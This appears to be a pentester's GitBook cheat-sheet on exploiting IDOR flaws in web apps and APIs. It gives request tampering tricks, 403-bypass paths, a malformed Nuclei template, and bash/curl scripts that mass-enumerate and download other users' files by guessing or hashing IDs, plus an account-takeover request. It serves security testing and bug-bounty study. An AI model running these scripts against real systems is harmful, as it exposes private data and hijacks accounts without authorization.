> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/idor.md).

# IDOR

{% embed url="<https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References>" %}

{% embed url="<https://medium.com/@Aman-Gupta.cse/idor-attack-slips-through-the-cracks-vulnerability-scanners-miss-critical-security-flaw-c0061ea8c122>" %}

{% embed url="<https://github.com/trilokdhaked/Bug-Bounty-Methodology/blob/main/Insecure%20Direct%20Object%20References.md>" %}

## Checklist

<figure><img src="/files/ky5T45BW9OHDWsjeSblb" alt=""><figcaption></figcaption></figure>

## Detection

`?uid=1` or `?filename=file_1.pdf`

`?filename=ZmlsZV8xMjMucGRm` base64 for `file_123.pdf`

`download.php?filename=c81e728d9d4c2f636f067f89cc14862c`

```javascript
$.ajax({
    url:"download.php",
    type: "post",
    dataType: "json",
    data: {filename: CryptoJS.MD5('file_1.pdf').toString()},
    success:function(result){
        //
    }
});
```

\=> MD5 - See [Cracking - Hashes](/0xss0rz/pentest/cracking/hashes.md) to identify hash types

```
GET /deals?deal_id=[ID]
```

<figure><img src="/files/O0DCDzfR0N9M34JPV9zF" alt=""><figcaption></figcaption></figure>

### IDOR is NOT ONLY on id <a href="#id-9abc" id="id-9abc"></a>

If the server’s response includes sensitive identifiers like **id**, **email**, or **phone\_number** in a structured format (e.g., JSON), these could be potential entry points for exploitation.

```
GET /example?id=124

GET /example?email=victim@example.com

GET /example?phone_number=0987654321
```

```
GET /api/resource/1
GET /user/account/find?user_id=15
POST /company/account/Microsoft/balance
POST /admin/pwreset/account/90

Try


GET /api/resource/3
GET /user/account/find?user_id=23
POST /company/account/Google/balance
POST /admin/pwreset/account/111

```

<figure><img src="/files/QAlv1xZEbjPoorWMxnLp" alt=""><figcaption></figcaption></figure>

## Double ID

* Victim's ID: 5200
* Attacker's ID: 5233

```
GET /api/users/5200/info → Access Denied  

GET /api/users/5200,5233/info → Bypassed
```

## Wildcard

```
Send a wildcard (*, %, ., _) instead of an ID, some backend might respond with the data of all the users.

GET /api/users/* HTTP/1.1
GET /api/users/% HTTP/1.1
GET /api/users/_ HTTP/1.1
GET /api/users/. HTTP/1.1
```

### Nuclei Template

Credit: [@coffinxp7](https://x.com/coffinxp7)

<https://raw.githubusercontent.com/coffinxp/priv8-Nuclei/refs/heads/main/idor-scan.yaml>

```yaml
id: idor-scan
info:
  name: IDOR Scan
  author: coffin
  severity: high
  description: Scan for potential IDOR vulnerabilities
  reference: https://example.com
  tags:
    - idor
    - scan
    - nuclei

flags:
  - severity: high

templates:
  - id: idor-endpoint-scan
    info:
      name: IDOR Endpoint Scan
      severity: high
      description: Scan for potential IDOR vulnerabilities in endpoints
      tags:
        - idor
        - endpoint
    requests:
      - method: GET
        path: "{{BaseURL}}"
        matchers-condition: and
        matchers:
          - type: word
            part: body
            words:
              - "id="
              - "uid="
              - "gid="
              - "user="
              - "account="
              - "number="
              - "order="
              - "no="
              - "doc="
              - "file="
              - "key="
              - "email="
              - "group="
              - "profile="
              - "edit="
              - "report="
    matchers:
      - type: word
        part: body
        words:
          - "id="
              - "uid="
              - "gid="
              - "user="
              - "account="
              - "number="
              - "order="
              - "no="
              - "doc="
              - "file="
              - "key="
              - "email="
              - "group="
              - "profile="
              - "edit="
              - "report="
    exclude:
      - "^http://"

    path-output: "{{BaseURL}}/{{FuzzID}}"
    ignore-conds:
      - match-case: false
        condition: false
    selectors:
      - type: regex
        scope: page
        regex: "(https:\\/\\/[^\\s]+)"
        group: 1
    retries: 2

```

## Bypass 403

{% content-ref url="/pages/kvc5t3tcbZkby0Ss401B" %}
[Bypass 403 / 401](/0xss0rz/pentest/web-attacks/bypass-403-401.md)
{% endcontent-ref %}

```
/api/67898555007/users -> 403

/api//users
/api\\users

/api/v1/user/id -> 403

/api/vl/user/id.json
/api/vl/user/id?
/api/vl/user/id/
/api/v2/user/id
/api/vl/user/id&accountdetail
/api/v1/user/yourid&victimid

X-Original-Url: /api/v1/user/id
```

```
Send a wildcard (*, %, ., _) instead of an ID, some backend might respond with the data of all the users.

GET /api/users/* HTTP/1.1
GET /api/users/% HTTP/1.1
GET /api/users/_ HTTP/1.1
GET /api/users/. HTTP/1.1
```

Try plural form:  `users/*` instead of `user/*`

## UUID

### Unpredictable UUID

Extract from Waybackmachine, virustotal, URLScan, etc.&#x20;

{% embed url="<https://josephthacker.com/hacking/cybersecurity/2022/08/18/unpredictable-idors.html>" %}

{% embed url="<https://infosecwriteups.com/idor-allows-unauthorized-payment-hijacking-3abf642c0cca>" %}

#### Extract UUIDs from waybackurls

script.py

```
#!/usr/bin/env python3

import re
import sys

def uuid_grep():
    uuid_regex = re.compile(r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}')
    for line in sys.stdin:
        match = uuid_regex.search(line)
        if match:
            print(match.group(0))

if __name__ == "__main__":
    uuid_grep()
```

```
# Option 1
waybackurls hackerone.com | python3 script.py

# Option 2
cat waybackurls.txt | python3 script.py
```

### UUID Version 1

{% content-ref url="/pages/RPOf6PiPhW9U4JsCnLX7" %}
[Insecure UUID](/0xss0rz/pentest/api/insecure-uuid.md)
{% endcontent-ref %}

### Change the UUID value type

When testing the API field with UUID type, try to change the UUID value type\
to ID or even an Email

```
/api/user/a8ae-1322-ac09-8f90
/api/user/1
/api/user/user@company .com
```

Source: <https://x.com/therceman/status/1929620937772560750>

## Mass IDOR Enumeration

```html
/documents/Invoice_1_09_2021.pdf
/documents/Report_1_10_2021.pdf
```

Predictable name => fuzz

`documents.php?uid=1` => fuzz uid to discover new docs

### Mass Enumeration

```
curl -s "http://SERVER_IP:PORT/documents.php?uid=1" | grep "<li class='pure-tree_link'>"

<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>
<li class='pure-tree_link'><a href='/documents/Report_3_01_2020.pdf' target='_blank'>Report</a></li>
```

```shell-session
curl -s "http://SERVER_IP:PORT/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"

/documents/Invoice_3_06_2020.pdf
/documents/Report_3_01_2020.pdf
```

Automation - GET request

```bash
#!/bin/bash

url="http://SERVER_IP:PORT"

for i in {1..10}; do
        for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
                wget -q $url/$link
        done
done
```

Automation - POST request

```
#!/bin/bash

# Loop through UIDs from 1 to 10
for ((uid=1; uid<=10; uid++)); do
    echo "UID $uid document links:"
    curl -s -X POST http://94.237.53.169:45464/documents.php --data "uid=$uid" | awk -F "href='/documents/" '{for(i=2; i<=NF; i++){print $i}}' | awk -F "'" '{print $1}'
    echo -e "\n"  # Add a newline for clarity between responses
done

```

## Bypassing Encoded References

<figure><img src="/files/Np9oE0GhyCijj0ctJqXH" alt=""><figcaption></figcaption></figure>

```php
contract=cdd96d3cc73d1dbdaffa03cc6cd7339b
```

```shell-session
echo -n 1 | md5sum

c4ca4238a0b923820dcc509a6f75849b -
```

not match...

### Function Disclosure

`javascript:downloadContract('1')`

```javascript
function downloadContract(uid) {
    $.redirect("/download.php", {
        contract: CryptoJS.MD5(btoa(uid)).toString(),
    }, "POST", "_self");
}
```

```shell-session
echo -n 1 | base64 -w 0 | md5sum

cdd96d3cc73d1dbdaffa03cc6cd7339b -
```

match

**Tip:** We are using the `-n` flag with `echo`, and the `-w 0` flag with `base64`, to avoid adding newlines, in order to be able to calculate the `md5` hash of the same value, without hashing newlines, as that would change the final `md5` hash.

### Mass Enumeration

```shell-session
$ for i in {1..10}; do echo -n $i | base64 -w 0 | md5sum | tr -d ' -'; done

cdd96d3cc73d1dbdaffa03cc6cd7339b
0b7e7dee87b1c3b98e72131173dfbbbf
0b24df25fe628797b3a50ae0724d2730
f7947d50da7a043693a592b4db43b0a1
8b9af1f7f76daf0f02bd9c48c4a2e3d0
006d1236aee3f92b8322299796ba1989
b523ff8d1ced96cef9c86492e790c2fb
d477819d240e7d3dd9499ed8d23e7158
3e57e65a34ffcb2e93cb545d024f5bde
5d4aace023dc088767b4e08c79415dcd
```

```bash
#!/bin/bash

for i in {1..10}; do
    for hash in $(echo -n $i | base64 -w 0 | md5sum | tr -d ' -'); do
        curl -sOJ -X POST -d "contract=$hash" http://SERVER_IP:PORT/download.php
    done
done
```

```shell-session
$ bash ./exploit.sh
$ ls -1

contract_006d1236aee3f92b8322299796ba1989.pdf
contract_0b24df25fe628797b3a50ae0724d2730.pdf
contract_0b7e7dee87b1c3b98e72131173dfbbbf.pdf
contract_3e57e65a34ffcb2e93cb545d024f5bde.pdf
contract_5d4aace023dc088767b4e08c79415dcd.pdf
contract_8b9af1f7f76daf0f02bd9c48c4a2e3d0.pdf
contract_b523ff8d1ced96cef9c86492e790c2fb.pdf
contract_cdd96d3cc73d1dbdaffa03cc6cd7339b.pdf
contract_d477819d240e7d3dd9499ed8d23e7158.pdf
contract_f7947d50da7a043693a592b4db43b0a1.pdf
```

## IDOR in Insecure APIs

&#x20;`PUT /profile/api.php/profile/1` &#x20;

```json
{
    "uid": 1,
    "uuid": "40f5888b67c748df7efba008e7c2f9d2",
    "role": "employee",
    "full_name": "Amy Lindon",
    "email": "a_lindon@employees.htb",
    "about": "A Release is like a boat. 80% of the holes plugged is not good enough."
}
```

Try to change uid or role

Try [HTTP verbs](/0xss0rz/pentest/web-attacks/http-verb-tampering.md)

### Information Disclosure

Change id

<figure><img src="/files/UbxqtAhbucOSTq3qVc8O" alt=""><figcaption></figcaption></figure>

### Modifying Other Users' Details

Use id 2 and uuid diclosed to change user info via PUT request

&#x20;One type of attack is `modifying a user's email address` and then requesting a password reset link, which will be sent to the email address we specified, thus allowing us to take control over their account. Another potential attack is `placing an XSS payload in the 'about' field`

## Role in URL

```
DELETE /identity/api/v2/user/videos/778

Response: "This is an admin function try to access the admin API"

DELETE /identity/api/v2/admin/videos/778

Response: 200 OK
```

## Parameter pollution <a href="#id-2-exploiting-idors-via-parameter-pollution" id="id-2-exploiting-idors-via-parameter-pollution"></a>

<figure><img src="/files/Pu9XlRPI1p53wkO2lf5N" alt=""><figcaption></figcaption></figure>

## Depreciated API versions <a href="#id-6-exploiting-idors-via-depreciated-api-versions" id="id-6-exploiting-idors-via-depreciated-api-versions"></a>

<figure><img src="/files/4f6s524iF82PVgOPr5ES" alt=""><figcaption></figcaption></figure>

## JSON globbing <a href="#id-3-exploiting-idors-via-json-globbing" id="id-3-exploiting-idors-via-json-globbing"></a>

<figure><img src="/files/iUu37jCE1SSoZmtgqqna" alt=""><figcaption></figcaption></figure>

## APIs that use static keywords <a href="#id-7-exploiting-idors-in-apis-that-use-static-keywords" id="id-7-exploiting-idors-in-apis-that-use-static-keywords"></a>

<figure><img src="/files/oQCL4i8pyv07QlzlIxih" alt=""><figcaption></figcaption></figure>

## Second-order IDOR <a href="#id-9-exploiting-second-order-idor-vulnerabilities" id="id-9-exploiting-second-order-idor-vulnerabilities"></a>

<figure><img src="/files/TzT4ufq0X2DrJbNfgR4C" alt=""><figcaption></figcaption></figure>

## Account Takeover

```
POST /changepassword.php HTTP/1.1
Host: site.com
...
userid=500&password=heked123
```

500 is an attacker ID and 501 is a victim ID, so we change the userid from attacker to victim ID

## Tools

{% embed url="<https://github.com/errorfiathck/IDOR-Forge?s=03>" %}

{% embed url="<https://github.com/GManOfficial/IDOR-IN>" %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="/files/a876wNYE568SJIfTZVxL" alt=""><figcaption></figcaption></figure>

## Interesting Books

{% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %}
[Interesting Books](/0xss0rz/interesting-books.md)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.

## Resources

{% embed url="<https://blog.intigriti.com/intigriti-news/idor-a-complete-guide-to-exploiting-advanced-idor-vulnerabilities>" %}

{% embed url="<https://www.intigriti.com/hackademy/idor>" %}

{% embed url="<https://snyk.io/fr/blog/insecure-direct-object-references-python/>" %}
